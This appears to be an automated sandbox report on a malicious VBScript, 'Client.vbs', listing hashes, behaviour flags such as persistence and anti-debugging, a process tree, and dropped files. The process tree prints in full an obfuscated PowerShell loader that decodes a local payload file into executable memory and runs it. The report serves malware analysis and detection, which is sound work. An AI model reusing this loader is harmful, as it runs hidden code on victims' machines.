Analysis

  • max time kernel
    300s
  • max time network
    311s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 03:33

General

  • Target

    Client.vbs

  • Size

    177KB

  • MD5

    bcfb5c05a5695508cae014e0fb254785

  • SHA1

    6cb6d497451b32d393f7b2dc1beb2b0baf80b0d3

  • SHA256

    e443da0d45d95a550c2f2637c8b7f3000aa9fef71840a4deff34333ad51d3c32

  • SHA512

    8a66382d94001e0662f63553d2fdb06335c52e37994425ad980f0c87c0f9b388635b21816dfba6542d694f5f96dc53b1666424c22f5a815c326bc5046e1c08db

  • SSDEEP

    3072:4od0wW0uWMKsiQjL7Ow0z72qo3NFOrvEFbGHTnC66xgZ7/9T/Dv5vwLI2c:bd5uWBsiQXJ0+nOQITCFOr9vSBc

Score
7/10

Malware Config

Signatures

  • Checks QEMU agent file 2 TTPs 2 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Client.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:872
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Derea = """StdATildApodGel-CraTLymyDompSyveAkt Shr-tilTCrayLogpFiseForDCloeSnifGyniFronTeliSkutSlgiMisoilsnReo Epo'FlauPresByoiUninFingUnp RedSGnoyPresEuptFedeudbmHea;ResuSelsBoliNatnAntgLej MobSBrayFissDabtindeafvmflo.KarROpsuKamnAbotMdeihypmPoreKod.ButIWinnsygtMareTanrPuboHalpBraSUdfeLetrNorvPlaikrecUnseSkesSem;asepSkyuBlabSmklRefiCuscSne StasDomtFacaNartTariBracsme MafcdemlParaIdksSrbsPri SdeTWourOplaMetcMonhTeleYojaBiltVreiVra1Dus Aut{Cin[OveDSellSamlFloIHekmSanpFluooxirUnltGyn(Kai`"""SnowElgiEacnMoomEydmCer.gardHewlPollNol`"""Ele)Frn]PorpKuruBydbTrolsekiPercPla NicsScltAaraDretCheiInfcRee UnbeAutxSuptmvheStirUndnTil WamiResnSertCit GummAnuiOzodSlsiJelOVanuAdrtAudRUndesposPuseAfftRes(PorilornMw tPrv NosHOrnahjtmHusaDin)Tal;dis[PenDLislParlAscINepmUnspratoPibrDemtToh(Ady`"""NonkUrgeFolrlasnHeteBeslMaq3Sla2Spa`"""Kan)Fod]DispUveuPenbBorlcasiParcSki EsksRritSamaRaatCurigrfcMis PaneTraxBastTroeInvrPyrnRip PuriPetnRmetFra AutSGrueBertPreULinnStrhPlaaMuhnDisdLanlCureUnrdWilEWasxAlccUdmeHeapOldtAnsiUreoInsnUroFSpriNeilspitSyneRenrBuk(knaiAabnViotIdr JamIDesnOvedFonbArnoOcc)Kir;Rif[LodDcrelDislUngIRasmPripLinoSpyrSamtPav(Amu`"""AllkRefecherPlenKaseDoclLat3Sky2Han`"""Sol)Sup]RkepLabuSchbFurlTitiTwicfin PlesNdutPlaaGentIntiNoncTil FrieDalxStrtcapeChlrTednPla PeniEvonAmbtCed PlaGBasePestEuhTHaviFiacOplkArcCcunoshauRhonKystLiq(Sta)Dyk;Phr[wayDTillHemlTreIGrumConpElioImprSkotHle(Bom`"""CoouMacsSkreDrirFre3Syn2Ung`"""Stt)Grs]DerpPreuKombBrolBuniRodcAbr IncsHngtLimaOvetpodiGalcAnd SkreBjlxKortPryeEftrvannDis SiliLannpaptUdd LeuIHusnspesHoeeKlvrDistDelMSubeZarnIntuTerIYoktTreeSpemSte(SemiExenBartSub AleDSpliTyrsObecTiloSocrMed,ImpiSinnEnmtEss SubfAntePrarAkt,MariIndnSpatPro CoeSDenuShacKla,AneiNonnStatPhy JarAmejrSlooImmmMedaCub)Fis;Gim[ModDPerlbejlVddIAusmHyppDenoSterGhotFas(Muc`"""GuduDissLiceLoarDra3Udr2Per.FjldTamlSkilGal`"""Moz)Apo]GrapHypuBaubAfslNapiChacLre HebsMentAusaSamtTeoiAfvcTea LigeTekxSaltTraeUverRounWid UniIBognSydtUnpPGartEksrFod OmnCAptasuplKatlDatWHaliHepnRygdColoSemwNonPSterRewoGarcUbeWNub(tobIHjenKomtbarPMagtAbsrPil StrPThrrPauoNarsRibeesslPliyEmi5Unm,antianinFlatTra PenPReirRekoUstsrepeEndlNasySan6Cou,PriiCounTiltUdl TigPIrrrGldoRemsSereMytlMonyBer7Hug,MaciblonBistSls elePVesrStooShisGaleReclRidySpu8She,EsciGoonFrotIvy ExgPBoorStioUnrsproeAnslForyUnd9Mez)for;Hip[freDUnslFillYelIDatmPlapBetobesrpretSer(Non`"""TrikendeMetrkodnSmaeBrulFod3Dag2Can`"""Sou)Ind]GrapSkeuSocbErslSiliMascUds VissStetSlaaProtSh iPoscSka TrieUntxPretUdgeThurSaynAnf MosiZoonDistEne OveCleirUdbeUnhaPoltouteAmiDSkiiBehrHypeVolcVistOpsoFrorForyBul(VeniUrinTaftWak CraMTilaTmmnBondMarrOil,ErriPernSittEmu SlaFTerrMamaStovCatrSirsDyn)Ste;Tje[SemDYvelAdalHypIBalmPalpArboDalrSertFli(Tre`"""CalkNodeDihrFalnLyreAablLnm3Ing2Und`"""Ste)Sug]DagpOveuKaibLanlOutihalcFej VissUnqtBrlaDoutfoliCoccApp frieQuaxCartStoeHobrSkunLum RepiBehnPoltNee EmpMKedoLitvOmveShiFFraiWerlMazeTerESkixgen(IroiFionHartjin ConCDefhHypoRadnDisdDiprCon,ForiFranFortPli NonBborahypgImmlJudyLib,BadiPsenGyrtAri UnrKPrioRntmSil)und;Vaa[NavDShrlElelColIPolmJerpStroGrnrFantEmb(Lun`"""ExowCapiSnanPromBromAfs.KondUltlDenlMer`"""Vit)For]lftpThouAfvbTunlSuliBalcOce UnasAnttAmtaTrotConiSupcIde MiseAmbxFyntKlueForrrdvnSmi ProiRulnmertOps RetmDolihaexLooeSenrNilCKoglstaoRhysVekehem(FamiunpnMettTox udsSKeroPolnCeleKoo)Bje;Ano[TryDBiglWralVidIPhomnovpleaoBrerElytCac(Pla`"""DodiGlymGrimAgg3Con2Hom.AlldMeglSanlWea`"""Ski)Iri]KlipHiruRambplalAbbiElscQua lonsFlotSunaUndtUneiRidcfll HypeTirxUnftLeuePrerAflnFor enaiResnVovtFra JudIDramdecmEtaGIndeDritToaVMetiVddrAcotScouAlbaPhyldagKFadeRanySno(YakiLamnTratMan SitSLynvKvleDhadForkDog)Bug;Mil[DepDStalKonlAfpIElemPinpUdboPrerBiotPaa(Yar`"""LdekRoneArbrResnMonePetlPse3Ure2Bas`"""saf)Tjr]PropPlaumisbDislTreiSnecapa TsnsDebtFejaCurtBlaiEtycRam UndetanxUnetSmaeradrPranEdu ExtiAbjnKantSmr DefVMesiBonrKohtBiguKriathelrefARealTunlAbsoDeccrev(SubiCarnSprtAce ForvEve1Und,faniAuknRastFor ProvSik2Kne,OpviWignProtRef HemvMak3Spe,CadiUdlnPretMot penvBud4Sek)For;Sci[RulDKuvlJoklradIRommHirpNoroBlirSvitMon(Pns`"""PrewPoriGranBarsThipForoGenoOvelEsk.InsdMoarInevUnc`"""Glg)Non]KafpAquuTrabRedlpteiHovcLod FrosReftBaaaPentLoviTracSup LaneRykxBrutSokeHomrFornDem KatiBudnContArs ArcDAareVaglprieDamtReveXylPMrkrOmniPrenSlatProePhyrKalCPreoConnTranruteAnscStetPeriDeboAllnNon(KaliTranLyntGer VelTopgiStilUomrDat)Fje;Mon[ExhDunilGenlDelITygmBobpophoHrirBiltCri(Ren`"""PaauThrsSpreAalrBnn3und2Wan`"""Sch)Hie]PsepMamuFajbBirlColiTracTea SunsDdetMalaBedtAesiTrucEnv NedeJouxBlutskaeKasrBasnTus FrdichenUintMon encASubtFortDevaBamcCrahCroTForhhearOpieHalaTegdTipITernUdepQuouGartBro(UnsiSinnStatDis OphGPeaoskakStr,spailatnAvetmon OverFakiphogMenhban,UnbiPacnJamtBal VisTPhleTumkFis)Pre;Hjr[MorDFlolTrilPinITipmovepBogoKasrVogtAfs(For`"""ForuNubsPluePhyrPhe3Pru2Sug`"""Des)Ami]AnspUleuBinbForlPeriBescsle BansBiltTeaaradtTekiFodcTra TileBekxSyntbiteQuirRumnQua DagiDefnMistFor NecISornIgavAceaDemlSeliPubdGodaIndtTheeVirRReneTwicCostEks(OveiPahnAfstTac ReiCEksoretvOkseOve,FabiAttnUnstRen SalVJoraUdblOpkdrekeUng,RrliacenBantUdl ParIStulTruysausAssiSca)ped;Elm}Vis'Xer;Cou`$RedTBagrTilaBndcProhnejeOleaMontForiDru2Uds=Kva`$StreSecnClivIns:MaatTraeTilmEngpAkh Sar+ang Cha`"""duk\SaaGSolrAlgaskrnGna.MildPaaaLantVil`"""Sko;Acr`$AmaLLevnBotkTaxeNidrAhasNeusGuetEureSchrCel Acc=Imp KorGForepibtpri-farCcryoPopnMultCareTitnKrutViv Pri`$OplTdigrAmoaGencUnphDifemacaBlutpauiinv2Fro;Amb`$VanBFlgeUnisInvvCouoUopgAdfrChueStadVil Sel=Opb Col[KapSRepyPresChotPapeKukmMal.PreCRetoImbnflbvForeMinrKontGal]Kni:vas:TelFAccrcaroPramHowBSpuaBacscomePan6Spl4hedSFretIndrEnsiFennBragCle(ski`$MelLNamnSlakcareSuprHunsForsUnbtSameCaprBut)Tut;upd`$AkvTRivrRolaSlacudkhaareBetaNontretiDum3Rea=Egl[GavTVarrTaraHancTrihMuneUnpaDiatPhyiBru1Eve]Ash:Rom:RevVDisiMyxrTrotAnmuBasaBetlBesATellHanlbaioFaccSpo(enk0Bol,Chl1Adm0Men4Ren8Sko5Hel7til6Sar,Dis1Dyn2Tal2Pro8The8Kar,Sen6ver4Eft)Lac;Sub[PanSFamyShrsSkitbabeUdlmPro.TimRRecuFrenSkitBooiMarmInteama.AftIZannAfptDeneGifrannoBespNeuSConeWoorTohvFamiSticMoneSnosSnn.BemMAkvaAugrTiesStrhBrkaDialSiv]Pro:Mon:SinCtapoKrnpLivyBla(Uno`$appBNosekansBedvCyboTangLearBefeSpadCyp,Bnd Hus0Rec,ary Vap Cub`$CanTLobrMaraHazcReshPapeForaUdstSkiiCru3The,Ker Kvr`$OpbBSchestusSonvPreoBergPrerForeSpydLor.UnscSlooKlauNonncaltLil)Dau;Lev[HysTIndrTooaStacFlahGameBloaasctUnliflo1Gra]Uku:Ave:amiCPolaUndlabnlCerWoveiSubnRavdUdboStawSolPBalrAnioSyncuniWVis(Tmr`$AutTCharAdiaRekcUnrhLaceBacaPantMariIag3Dre,Fir Oms0Nos,Bev0Lde,Kop0Udl,Non0Ind)Taf#Kil;""";Function Tracheati4 { param([String]$HS); For($i=3; $i -lt $HS.Length-1; $i+=(3+1)){ $Prosely = $Prosely + $HS.Substring($i, 1); } $Prosely;}$symbiosens0 = Tracheati4 'CitIAmpEHeaXSco ';$symbiosens1= Tracheati4 $Derea;& ($symbiosens0) $symbiosens1;"
      2⤵
      • Checks QEMU agent file
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e_ctlylx.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCBBA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCBB9.tmp"
          4⤵
            PID:2008
        • C:\Program Files (x86)\internet explorer\ieinstal.exe
          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
          3⤵
          • Checks QEMU agent file
          • Adds Run key to start application
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetWindowsHookEx
          PID:1708

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Gran.dat

      Filesize

      145KB

      MD5

      f8aa322d9439db5928769bbe829f3072

      SHA1

      965728def507bf74d495aaae6a67dec68e5a3355

      SHA256

      4c1a9a92d1f77a38d54b9fb583d905cbdb81362e3dc79dbec7a6477ae6463d08

      SHA512

      163db7c96d2739435e65367e18dca23a4c1426061d8df44a4a6b6ddcdd016a613169a6fe91786f46c7f1f3f60422a31bed1d23960418ec2d9a3b145fd87ee0ae

    • C:\Users\Admin\AppData\Local\Temp\RESCBBA.tmp

      Filesize

      1KB

      MD5

      072769f4e8a14096b67d8da431a10c27

      SHA1

      809668a64e33bf3017dca2b737fcc012b66cb7da

      SHA256

      9696ae162ff1776107345f8369afc4f3f0f0e1d4a654c8a39853e80cf70f4435

      SHA512

      d10340c6e120f66e989ba95b5e2880c1d314c3394a7070350005becca3d11650fcfed93f6847887a43705d0d0a5dcb7ded2b44e9600eedb6d4a660f55e9d9779

    • C:\Users\Admin\AppData\Local\Temp\e_ctlylx.dll

      Filesize

      4KB

      MD5

      01ecb9ad51bdc88218c90cb5a3398024

      SHA1

      80a0086c5240a867ce3810274c9f0310c1f22a05

      SHA256

      ee519973aa708d3767ac036ff5a89dece34d03a2a963889c90297731c23f9ab6

      SHA512

      b314c853c3f86d76dc576402537fc6b70a5aa52af228f0c390582ccd788d9dea9a700d3699e6e93bc2545b5c752ca20072719542c4f625bb948c305a31d387ef

    • C:\Users\Admin\AppData\Local\Temp\e_ctlylx.pdb

      Filesize

      7KB

      MD5

      88090836c5876aa23d1cc68c404631e5

      SHA1

      e58fed0f26f3d041172549e52a67d6efc9144aea

      SHA256

      a76ea052e188a9b709bba3c0ff7cff4805fd8d73726df746fe1d0e9dda42144f

      SHA512

      4b4da9c9596d0febf5c145a766d14f1cba446c0fe630bf2f5ac89371f54c88e438aea3947a0f5a460ad4d5d702893b4d542e52917764999dd81d011097840bed

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCCBB9.tmp

      Filesize

      652B

      MD5

      0d7811712cc4b8ee248b36efd24b4b4b

      SHA1

      10fa297605e4820b3843be2c63d7225c9ac3ea4e

      SHA256

      a68a83975379539bd368057310dac56763582fbdfdd938e39997143113393309

      SHA512

      567168ead57dbbf6116dd9c3433938d0a2d15b365df72300e3a7932a35d8d19ae43456a4b155ea95daeee6defccfcace0042375075476a10168c650d161eab01

    • \??\c:\Users\Admin\AppData\Local\Temp\e_ctlylx.0.cs

      Filesize

      1KB

      MD5

      d4de9651ff0de82d29338c81aa6e5885

      SHA1

      acec3aa0a3d399927828f4975e5193a2727c7aa8

      SHA256

      d70e9a0ad03b8c827666c59d74addc16a72244a73ae85fe9a10bf5ea0cf4d5d5

      SHA512

      458333575625e306dac458b1274d7db85ea023d84f8fc958cdc41a2b65bb5192fa6f581348eb6b20ba1db10c635bbe18d1bc80fe2e4aeccdb76d1971b753a283

    • \??\c:\Users\Admin\AppData\Local\Temp\e_ctlylx.cmdline

      Filesize

      309B

      MD5

      871ecdd23d6e10c5cd4a56cda581c484

      SHA1

      958062929e8109c220faabe95f7c1c6939a9c095

      SHA256

      78a3e7a7230aadd91b8252b595341fb3d95aa89c12d2f509fae0ca1daceba2ee

      SHA512

      cc43ae8c9124df9416115cee92997decc1f9971dfcde1a950e791e589dbb4c51c0345b83179dceb0d2f70a5a00ad2b3247e0329cc09a9543b70b0895404e9f38

    • memory/836-58-0x0000000000000000-mapping.dmp

    • memory/872-54-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

      Filesize

      8KB

    • memory/1480-57-0x0000000074170000-0x000000007471B000-memory.dmp

      Filesize

      5.7MB

    • memory/1480-88-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1480-56-0x0000000075B41000-0x0000000075B43000-memory.dmp

      Filesize

      8KB

    • memory/1480-55-0x0000000000000000-mapping.dmp

    • memory/1480-67-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

      Filesize

      1024KB

    • memory/1480-68-0x0000000074170000-0x000000007471B000-memory.dmp

      Filesize

      5.7MB

    • memory/1480-69-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

      Filesize

      1024KB

    • memory/1480-81-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1480-87-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

      Filesize

      1024KB

    • memory/1480-75-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1480-74-0x00000000776F0000-0x0000000077899000-memory.dmp

      Filesize

      1.7MB

    • memory/1480-76-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1480-82-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1708-72-0x00000000001F0000-0x00000000002F0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-77-0x00000000001F0000-0x00000000002F0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-83-0x00000000001F0000-0x00000000002F0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-84-0x00000000776F0000-0x0000000077899000-memory.dmp

      Filesize

      1.7MB

    • memory/1708-86-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1708-85-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1708-73-0x00000000001F0000-mapping.dmp

    • memory/1708-89-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/1708-90-0x00000000778D0000-0x0000000077A50000-memory.dmp

      Filesize

      1.5MB

    • memory/2008-61-0x0000000000000000-mapping.dmp